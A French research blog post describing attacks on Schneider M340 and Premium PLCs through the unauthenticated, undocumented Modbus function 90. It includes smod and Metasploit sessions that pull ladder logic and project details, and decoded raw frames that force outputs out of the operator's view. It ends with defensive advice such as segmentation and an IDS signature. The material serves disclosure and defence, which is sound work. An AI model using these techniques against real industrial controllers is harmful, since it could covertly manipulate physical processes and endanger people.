Lors de la dernière édition de la DEFCON, nous avons présenté nos travaux de R&D concernant un protocole propriétaire Schneider à l’ICS Village, espace dédié à la sécurité des SI industriels.
Vous pouvez retrouver notre intervention en vidéo : https://www.youtube.com/watch?v=A_B69Rifu1g
Revenons sur ces travaux et la manière dont ils peuvent être exploités.
Le protocole Modbus
Le protocole Modbus est un standard de communication utilisé dans les SI industriels. Développé dans les années 70 sur liaison série RS-485, il est désormais très répandu dans sa version TCP utilisable sur une liaison Ethernet classique.
Le protocole Modbus défini un certain nombre de fonctions, qui servent majoritairement à lire/écrire des données sur un automate programmable industriel.
root@kali:mbtget-master# ./mbtget -r3 -a 0 -n 8 192.168.0.110 values: 1 (ad 00000): 1 2 (ad 00001): 0 3 (ad 00002): 0 4 (ad 00003): 1 5 (ad 00004): 0 6 (ad 00005): 0 7 (ad 00006): 0 8 (ad 00007): 0
Lecture de données Modbus avec le programme « mbtget »
D’autres fonctions Modbus existent, comme l’indique ce tableau provenant du standard officiel :
Spécifications du protocole Modbus (http://www.modbus.org/docs/Modbus_Application_Protocol_V1_1b3.pdf)
Il est possible d’identifier la liste des fonctions Modbus supportées par un automate, par exemple avec l’outil smod:
root@kali:~/smod# python smod.py < SMOD > ------- \ ^__^ \ (xx)\_______ (__)\ )\/\ U ||----w | || || --=[MODBUS Penetration Test FrameWork --+--=[Version : 1.0.4 --+--=[Modules : 23 --+--=[Coder : Farzin Enddo --=[github : www.github.com/enddo SMOD > use modbus/scanner/getfunc SMOD modbus(getfunc) > show options Name Current Setting Required Description ---- --------------- -------- ----------- Output True False The stdout save in output directory RHOSTS True The target address range or CIDR identifier RPORT 502 False The port number for modbus protocol Threads 1 False The number of concurrent threads UID None True Modbus Slave UID. SMOD modbus(getfunc) > set RHOSTS 192.168.0.110 SMOD modbus(getfunc) > set UID 1 SMOD modbus(getfunc) > exploit [+] Module Get Function Start [+] Looking for supported function codes on 192.168.0.110 [+] Function Code 1(Read Coils) is supported. [+] Function Code 2(Read Discrete Inputs) is supported. [+] Function Code 3(Read Multiple Holding Registers) is supported. [+] Function Code 4(Read Input Registers) is supported. [+] Function Code 5(Write Single Coil) is supported. [+] Function Code 6(Write Single Holding Register) is supported. [+] Function Code 8(Diagnostic) is supported. [+] Function Code 15(Write Multiple Coils) is supported. [+] Function Code 16(Write Multiple Holding Registers) is supported. [+] Function Code 22(Mask Write Register) is supported. [+] Function Code 23(Read/Write Multiple Registers) is supported. [+] Function Code 43(Read Device Identification) is supported. [+] Function Code 90 is supported.
On peut ainsi utiliser les fonctions de diagnostique pour identifier précisément l’automate, en l’occurrence un Schneider M340 :
La fonction Modbus 0x5a
Historique
L’utilisation du protocole Modbus pour la programmation des automates Schneider a été révélée publiquement grâce aux travaux du projet Basecamp lors de la célèbre conférence S4, dédiée à la sécurité des SI industriels : http://www.digitalbond.com/blog/2012/01/19/project-basecamp-at-s4/
Vous pouvez retrouver les vulnérabilités identifiées sur les systèmes Schneider (et bien d’autres) dans la présentation de Reid Wightman : https://youtu.be/dtadMIN3CCc?t=35m29s
Nous avions déjà évoqué cette fonctionnalité dans notre article dédié au pentest d’automates dans le magazine MISC 74 . Il suffit d’observer les trames réseau échangées entre Unity Pro et l’automate lors de sa programmation pour identifier que c’est le protocole Modbus qui est utilisé, via une fonction non-documentée (90) :
Capture réseau des échanges entre le logiciel de programmation et un automate Schneider
Comme les autres fonctions Modbus, il n’existe aucun mécanisme de sécurité pour ce protocole de programmation : il suffit d’avoir un accès réseau sur le port TCP 502 d’un automate pour pouvoir réaliser des actions d’administration.
Récupération du programme automate
La récupération du programme de l’automate n’était, en tout cas dans nos tests, pas totalement fonctionnelle dans le module publié lors du projet Basecamp. Nous avions pu le modifier légèrement afin de prendre en compte des programmes de taille plus importante. Nous avons simplement eu à modifier un compteur pour la rendre fonctionnelle. Détaillons son utilisation.
- Création d’une archive programme vide : Dans le logiciel Unity Pro, ouvrons un programme existant et enregistrons-le en tant qu’archive (« .sta »)
- Récupérons le programme de l’automate
msf auxiliary(modicon_stux_transfer_ASO) > set ACTION DOWNLOAD ACTION => DOWNLOAD msf auxiliary(modicon_stux_transfer_ASO) > run [*] 192.168.0.110:502 - MODBUS - Sending read request [*] 192.168.0.110:502 - MODBUS - Retrieving file [*] 192.168.0.110:502 - MODBUS - Closing file '/opt/metasploit/apps/pro/msf3/data /exploits/modicon_ladder.apx' [*] Auxiliary module execution completed msf auxiliary(modicon_stux_transfer_ASO) >
- Insérons le fichier « .apx » dans l’archive
root@kali:~# file demo_archive.sta demo_archive.sta: Zip archive data, at least v1.0 to extract root@kali:~# unzip demo_archive.sta Archive: demo_archive.sta creating: BinAppli/ inflating: BinAppli/Station.apd inflating: BinAppli/Station.apx inflating: STATION.CTX extracting: TA.xma creating: ThirdParty/ root@kali:~/unity# cp /opt/metasploit/apps/pro/msf3/data/exploits/modicon_ladder.apx BinAppli/Station.apx root@kali:~/unity# ls BinAppli demo_archive.sta STATION.CTX TA.xma ThirdParty root@kali:~/unity# rm BinAppli/Station.apd root@kali:~/unity# zip demo_archive2.sta -r BinAppli/ STATION.CTX TA.xma ThirdParty/ adding: BinAppli/ (stored 0%) adding: BinAppli/Station.apx (deflated 61%) adding: BinAppli/Station.apd (deflated 19%) adding: STATION.CTX (deflated 58%) adding: TA.xma (stored 0%) adding: ThirdParty/ (stored 0%) root@kali:~/unity#
- Ouvrons le fichier dans Unity : il suffit ensuite d’ouvrir le fichier avec Unity pro pour accéder au programme :
Affichage du code « ladder » dans Unity Pro
La vidéo ci-dessous montre l’utilisation du module pour télécharger le programme et vérifier qu’il s’agit du même que celui issu de Unity Pro : https://www.youtube.com/watch?v=xRbulEX3_3o
La démarche inverse, reprogrammer l’automate, est également possible en théorie. En revanche, nous n’avons pas réussi à le rendre fonctionnel. Lors de l’upload d’un nouveau programme, nous obtenons ensuite cette erreur :
L’automate a bien été reprogrammé, mais il ne reconnaît pas le programme transmis et considère donc qu’il n’est pas programmé. Cette attaque permet donc plutôt un déni de service.
Récupération des informations du programme
L’analyse des trames échangées lors de l’initialisation de la connexion entre le logiciel de programmation légitime (Unity Pro) et l’automate permet d’identifier qu’un certain nombre d’informations sont envoyées par l’automate.
Capture réseau entre Unity Pro et un automate Schneider M340
Nous avons donc modifié le module Metasploit précédent afin de permettre la récupération de ces informations :
msf > use auxiliary/admin/scada/modicon_stux_transfer_ASO msf auxiliary(modicon_stux_transfer_ASO) > show actions Auxiliary actions: Name Description ---- ----------- DOWNLOAD Download the ladder logic from the PLC GATHER_INFOS Get informations about the PLC configuration UPLOAD Upload a ladder logic file to the PLC msf auxiliary(modicon_stux_transfer_ASO) > set ACTION GATHER_INFOS ACTION => GATHER_INFOS msf auxiliary(modicon_stux_transfer_ASO) > show options Module options (auxiliary/admin/scada/modicon_stux_transfer_ASO): Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME [...]/modicon_ladder.apx yes The file to send or receive RHOST yes The target address RPORT 502 yes The target port Auxiliary action: Name Description ---- ----------- GATHER_INFOS Get informations about the PLC configuration msf auxiliary(modicon_stux_transfer_ASO) > set RHOST 192.168.0.110 RHOST => 192.168.0.110 msf auxiliary(modicon_stux_transfer_ASO) > run [*] Sending initialization requests ... [+] PLC model : BMX P34 2030 [+] Project name : Test - Project ABC 123 Yolo [+] Project comments : this is where the comments are put. YOLO @@@ !!! [+] Unity Pro software version : V5.0 [*] Auxiliary module execution completed
Récupération d’information via le module Metasploit
Ces informations concordent avec celles obtenues graphiquement dans le logiciel légitime :
Informations sur le projet dans Unity pro
Forçage de valeurs
Le logiciel Unity Pro embarque également des fonctionnalités de simulation et de « forçage » des valeurs de l’automate. En effet, lors de l’installation d’un nouveau procédé industriel, il peut s’avérer pratique de « fausser » la valeur d’une variable pour simuler une action ou une situation spécifique. L’équivalent dans le monde informatique serait de « coder en dur » la valeur d’une variable.
Cette opération se réalise dans Unity Pro par la création d’une « table d’animation » dans laquelle on va renseigner les variables à forcer :
Forçage de valeurs à 1 dans Unity Pro
Via l’analyse des trames réseau échangées lors du forçage de valeurs, il a été possible de comprendre partiellement le protocole. Ci-dessous, on présente une comparaison des trames pour forcer la sortie %Q0.17 à 1, et forcer la sortie %Q0.18 à 0 :
[…]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x11\x00\x01\x00\x00\x00\x03 […]\x04\x00\x00\x00\x01\x00\x01\x20\x02\x01\x00\x12\x00\x01\x00\x00\x00\x02
Un octet permet de déterminer la sortie à forcer :
- 0x11 pour la sortie %Q0.17
- 0x12 pour la sortie %Q0.18
La valeur de forçage est déterminée par le dernier octet :
- 0x03 pour 0
- 0x02 pour 1
- 0x04 pour annuler le forçage
Dans la vidéo ci-dessous, on démontre le fonctionnement du module Metasploit en alternant les valeurs de forçage des sorties 17 à 23 : https://www.youtube.com/watch?time_continue=2&v=D1p2ni0eGhc
Pourquoi cette fonction est-elle intéressante du point de vue d’un attaquant ?
Dans un SI industriel en fonctionnement, les opérateurs ne surveillent pas le procédé avec Unity pro, mais un logiciel de supervision de type SCADA ou DCS, qui va leur permettre d’avoir une vue d’ensemble du précédé et de pouvoir interagir avec les différents composants. Ce logiciel va donc interroger, à intervalle régulier, les automates pour afficher les valeurs correspondantes à l’opérateur.
Cependant, dans la majorité des cas, ces logiciels ne vont pas directement afficher la valeur des sorties des automates ; des variables intermédiaires ou calculées sont utilisées. Ainsi, un attaquant capable de forcer la valeur des sorties de l’automate va pouvoir influencer le procédé physique, sans pour autant que cela soit visible du point de vue de l’opérateur en train de superviser le procédé.
Une démonstration live a été faite lors de la DEFCON. On peut observer que la valeur du feu rouge sur le logiciel de supervision IGSS reste fixe, tandis qu’en manipulant directement les variables de sortie on peut influencer sur la couleur du feu physique : https://www.youtube.com/watch?v=A_B69Rifu1g
Le module Metasploit n’étant pas totalement finalisé, il n’a pas fait l’objet d’une pull request vers le dépôt officiel. Vous pouvez néanmoins le trouver ici : https://github.com/wavestone-cdt/ics-tools.
Conclusion et sécurisation
Ces travaux ont été principalement réalisés sur des automates Schneider Premium et M340. Ils sont partiellement portables sur les nouvelles générations (par exemple M221) avec quelques ajustements. En effet, une capture réseau lors de la programmation d’un automate M221 montrera que c’est bien la fonction Modbus 90 qui est utilisée pour la programmation, mais de manière légèrement différente. Elle peut également être utilisé pour la mise en mode START ou STOP, ainsi que pour le forçage des valeurs de sortie.
Qu’en est-il ailleurs ?
L’utilisation de protocoles de communication non-sécurisés pour la programmation et la maintenance des automates programmables industriels est encore une réalité en cette fin d’année 2017. L’exemple ici présenté ne vise pas à cibler la marque Schneider en particulier. La grande majorité des constructeurs d’automates utilisent des protocoles non authentifiés pour la programmation. On pourrait notamment citer le cas de la majorité des automates reposant sur la bibliothèque CodeSys, comme démontré (là aussi) par Reid Wightman : http://www.digitalbond.com/blog/2012/10/25/new-project-basecamp-tools-for-codesys-200-vendors-affected/.
Que faire ?
La sécurisation d’un SI industriel doit donc prendre en compte le fait qu’un accès réseau sur le port TCP 502 permet d’accéder à la logique de l’automate, de la modifier mais également de forcer certaines valeurs, ce qui permet à un attaquant de mener une attaque qui ne sera pas visible de l’opérateur.
Les dernières versions d’automates, notamment dans les gammes les plus chères, incluent désormais des fonctions de sécurisation. L’approche la plus fréquente est d’encapsuler les protocoles non-sécurisés dans un tunnel authentifié et chiffré, avec TLS (Siemens) ou IPSEC (Schneider). Il conviendra cependant d’évaluer le bon niveau de sécurité de ces nouvelles fonctionnalités.
Il faut donc commencer par appliquer les bonnes pratiques de cloisonnement réseau, et superviser les actions d’administration. On peut par exemple mettre en place une sonde de type IDS avec une signature dédiée à la fonction 90 de Modbus.
Enfin, un axe d’amélioration axé métier serait la mise en place de mécanismes de contrôle d’intégrité au niveau des automates et du SCADA, permettant de s’assurer que les variables utilisées reflètent la réalité du procédé physique. On pourrait ainsi imaginer l’insertion, dans la logique de l’automate, quelques fonctions visant à assurer la détection d’une incohérence entre une valeur intermédiaire et une valeur de sortie. De la même manière, il serait intéressant pour le logiciel SCADA de pouvoir notifier l’opérateur lorsque des valeurs sont forcées, mais cette capacité n’est, à notre connaissance, pas proposée par les automates étudiés.
Arnaud SOULLIE